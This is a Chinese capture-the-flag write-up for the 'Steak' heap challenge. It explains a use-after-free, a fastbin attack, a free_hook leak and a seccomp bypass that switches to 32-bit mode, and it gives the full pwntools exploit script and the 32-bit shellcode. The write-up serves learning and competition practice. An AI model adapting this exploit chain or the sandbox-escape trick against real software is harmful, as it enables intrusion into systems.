[Pwn] Steak - Cpt.shao xp0int Posted on Nov 30 2018 ? Fast-bin-attack ? ? seccomp ? ``` Arch: amd64-64-little RELRO: Full RELRO Stack: Canary found NX: NX enabled PIE: No PIE (0x3ff000) ``` 典型选单程序,有四个功能,add,delete,edit,copy,其中copy的作用是把列表中一个item的内容直接copy给另外一个item。 漏洞出在delete的时候,明显的UAF漏洞  按理说利用起来就很简单直接了,fastbin attack获取malloc_hook上方的fake chunk然后改写malloc_hook,但是在程序的开头有这么一段代码:  看起来像是用prctl在设置seccomp沙盒什么的。 用seccomp-tools dump以下过滤表,发现以下内容: ``` line CODE JT JF K ================================= 0000: 0x20 0x00 0x00 0x00000000 A = sys_number 0001: 0x15 0x00 0x01 0x000000e7 if (A != exit_group) goto 0003 0002: 0x06 0x00 0x00 0x7fff0000 return ALLOW 0003: 0x35 0x00 0x01 0x000000c8 if (A < tkill) goto 0005 0004: 0x06 0x00 0x00 0x00050001 return ERRNO(1) 0005: 0x15 0x00 0x01 0x00000002 if (A != open) goto 0007 0006: 0x06 0x00 0x00 0x00050001 return ERRNO(1) 0007: 0x15 0x00 0x01 0x00000029 if (A != socket) goto 0009 0008: 0x06 0x00 0x00 0x00050001 return ERRNO(1) 0009: 0x15 0x00 0x01 0x0000002a if (A != connect) goto 0011 0010: 0x06 0x00 0x00 0x00050001 return ERRNO(1) 0011: 0x15 0x00 0x01 0x0000002b if (A != accept) goto 0013 0012: 0x06 0x00 0x00 0x00050001 return ERRNO(1) 0013: 0x15 0x00 0x01 0x0000002c if (A != sendto) goto 0015 0014: 0x06 0x00 0x00 0x00050001 return ERRNO(1) 0015: 0x15 0x00 0x01 0x0000002d if (A != recvfrom) goto 0017 0016: 0x06 0x00 0x00 0x00050001 return ERRNO(1) 0017: 0x15 0x00 0x01 0x0000002e if (A != sendmsg) goto 0019 0018: 0x06 0x00 0x00 0x00050001 return ERRNO(1) 0019: 0x15 0x00 0x01 0x0000002f if (A != recvmsg) goto 0021 0020: 0x06 0x00 0x00 0x00050001 return ERRNO(1) 0021: 0x15 0x00 0x01 0x00000030 if (A != shutdown) goto 0023 0022: 0x06 0x00 0x00 0x00050001 return ERRNO(1) 0023: 0x15 0x00 0x01 0x00000031 if (A != bind) goto 0025 0024: 0x06 0x00 0x00 0x00050001 return ERRNO(1) 0025: 0x15 0x00 0x01 0x00000032 if (A != listen) goto 0027 0026: 0x06 0x00 0x00 0x00050001 return ERRNO(1) 0027: 0x15 0x00 0x01 0x00000035 if (A != socketpair) goto 0029 0028: 0x06 0x00 0x00 0x00050001 return ERRNO(1) 0029: 0x15 0x00 0x01 0x00000038 if (A != clone) goto 0031 0030: 0x06 0x00 0x00 0x00050001 return ERRNO(1) 0031: 0x15 0x00 0x01 0x00000039 if (A != fork) goto 0033 0032: 0x06 0x00 0x00 0x00050001 return ERRNO(1) 0033: 0x15 0x00 0x01 0x0000003a if (A != vfork) goto 0035 0034: 0x06 0x00 0x00 0x00050001 return ERRNO(1) 0035: 0x15 0x00 0x01 0x0000003e if (A != kill) goto 0037 0036: 0x06 0x00 0x00 0x00050001 return ERRNO(1) 0037: 0x15 0x00 0x01 0x00000065 if (A != ptrace) goto 0039 0038: 0x06 0x00 0x00 0x00050001 return ERRNO(1) 0039: 0x15 0x00 0x01 0x0000009d if (A != prctl) goto 0041 0040: 0x06 0x00 0x00 0x00050001 return ERRNO(1) 0041: 0x06 0x00 0x00 0x7fff0000 return ALLOW ``` 简单来说就是把表中的系统调用号全部禁用掉了,其中tkill的系统调用号是200,也就是说系统调用号也不能超过200。看起来条件还挺宽松的,连execve都没禁用不是吗? 尝试直接写onegadget发现get shell不成功,绕了一大圈构造system('/bin/sh')也不能get shell,原因在于seccomp把open都禁用掉了,而在运行execve的时候会调用到open来打开libc,所以execve不能够成功。接下来就是考虑如何绕过沙盒的问题了。 这里的做法是先进行rop把bss段的执行权限打开,然后用shellcode把架构切换到32位,再通过32位的shellcode来读flag文件,因为32位的系统 调用号是不同的,比如open的调用号变成了5,这样一来seccomp就拦截不住了。 再总体说一下exp的思路吧,首先是通过fastbin attack,借助bss段上有0x7f开头的指针来绕过size check,然后可以往bss段列表上写任意值, 至此可以有一个任意写的操作,通过got表上的指针和partial overwrite,可以构造出一个free hook地址(1/16的机会),然后通过copy的操作把puts@libc赋值给free_hook,这样就可以通过delete操作来进行任意地址读的操作了。 下一步是泄露libc地址,然后通过environ@libc泄露栈地址。再通过任意写的操作往stack的返回地址处写入rop:调用mprotect解开bss执行权限并且通过read来读入32 位shellcode。最后通过p64(retf)+p64(shellcode_addr)+p64(0x23)这样的rop切换到32位模式并且调到bss段执行shellcode。 ## run.py ```python from pwn import * context.log_level = 'debug' context.terminal = ['tmux', 'splitw', '-h'] env = {'LD_PRELOAD' : './libc-2.23.so'} context.arch = 'amd64' # env = {} p = process('./steak', env=env) libc = ELF('./libc-2.23.so') elf = ELF('./steak') bp = [0x400ca3] # you can insert bp here gdbcmd = "" for b in bp: if type(b) is str: gdbcmd += "b {}\n".format(b) elif type(b) is int: gdbcmd += "b *{:#x}\n".format(b) def rc(x): return p.recv(x) def ru(x): return p.recvuntil(x) def se(x): return p.send(x) def sl(x): return p.sendline(x) def sea(a, b): return p.sendafter(a, b) def sla(a, b): return p.sendlineafter(a, b) def info_addr(tag, addr): return p.info(tag + ': {:#x}'.format(addr)) def add(size, content): sla('>', '1') sla(':', str(size)) sea(':', content) def delete(idx): sla('>', '2') sla(':', str(idx)) def edit(idx, size, content): sla('>', '3') sla(':', str(idx)) sla(':', str(size)) sea(':', content) def copy(src, dst, size): sla('>', '4') sla(':', str(src)) sla(':', str(dst)) sla(':', str(size)) add(0x60, 'a'*0x50) add(0x60, 'b'*0x50) add(0x60, 'c'*0x50) # fast bin attack on bss, to get arbitary r/w delete(0) delete(1) delete(0) edit(0, 8, p64(0x60218d)) add(0x60, 'flag\x00') add(0x60, '\x00'*3 + p64(0x602190-3) + p64(elf.got['puts'])) # overwrite freehook with puts@plt edit(0, 5, '\x00'*3 + p16(0xb7a8)) #freehook copy(0, 4, 9) copy(1, 0, 8) delete(1) print hexdump(p.recvline()) # leak puts@libc libc_puts = u64(rc(6) + '\x00\x00') libc.address = libc_puts - libc.symbols['puts'] info_addr('libc_puts', libc_puts) info_addr('libc.address', libc.address) # put environ@libc on bss, leak stack addr edit(4, 11, '\x00'*3 + p64(libc.symbols['environ'])) delete(0) print hexdump(p.recvline()) stack = u64(rc(6) + '\x00\x00') info_addr('stack', stack) # put stack ret addr on bss, prepare for rop edit(4, 20, '\x00'*3 + p64(stack-0x110)+'./flag\x00') rop = ROP(elf) pop_rdi = 0x400ca3 pop_rsi = libc.address + 0x202e8 pop_rdx = libc.address + 0x1b92 pop_rax = libc.address + 0x33544 retf = libc.address + 0x102d7e # switch 64 -> 32 to bypass seccomp # mprotect to unlock bss rop.raw(pop_rdi) rop.raw(0x602000) rop.raw(pop_rsi) rop.raw(0x1000) rop.raw(pop_rdx) rop.raw(7) rop.raw(libc.symbols['mprotect']) # read shellcode into bss rop.raw(pop_rdi) rop.raw(0) rop.raw(pop_rsi) rop.raw(0x602000) rop.raw(pop_rdx) rop.raw(0x110) rop.raw(libc.symbols['read']) rop.raw(retf) payload = rop.chain() + p32(0x602000) + p32(0x23) # ret addr + 0x23:32bit sign edit(0, len(payload), payload) f = open('sc32', 'r') p.send(f.read().ljust(0x100) + './flag\x00') p.interactive() ``` ## sc32.py 用于生成32位shellcode的脚本 ```python from pwn import * sc = """ mov eax, 5 mov ebx, 0x602100 xor ecx, ecx xor edx, edx int 0x80 mov eax, 3 mov ebx, 3 mov ecx, 0x602100 mov edx, 0x50 int 0x80 mov eax, 4 mov ebx, 1 mov ecx, 0x602100 mov edx, 0x50 int 0x80 """ sc += shellcraft.i386.infloop() f = open('sc32','w') f.write(asm(sc)) f.close() ``` 打赏还是打残,这是个问题 赏 Wechat Pay Alipay [Pwn] 0gadget - Cpt.shao [Pwn] gets - Cpt.shao
没有帐号? 立即注册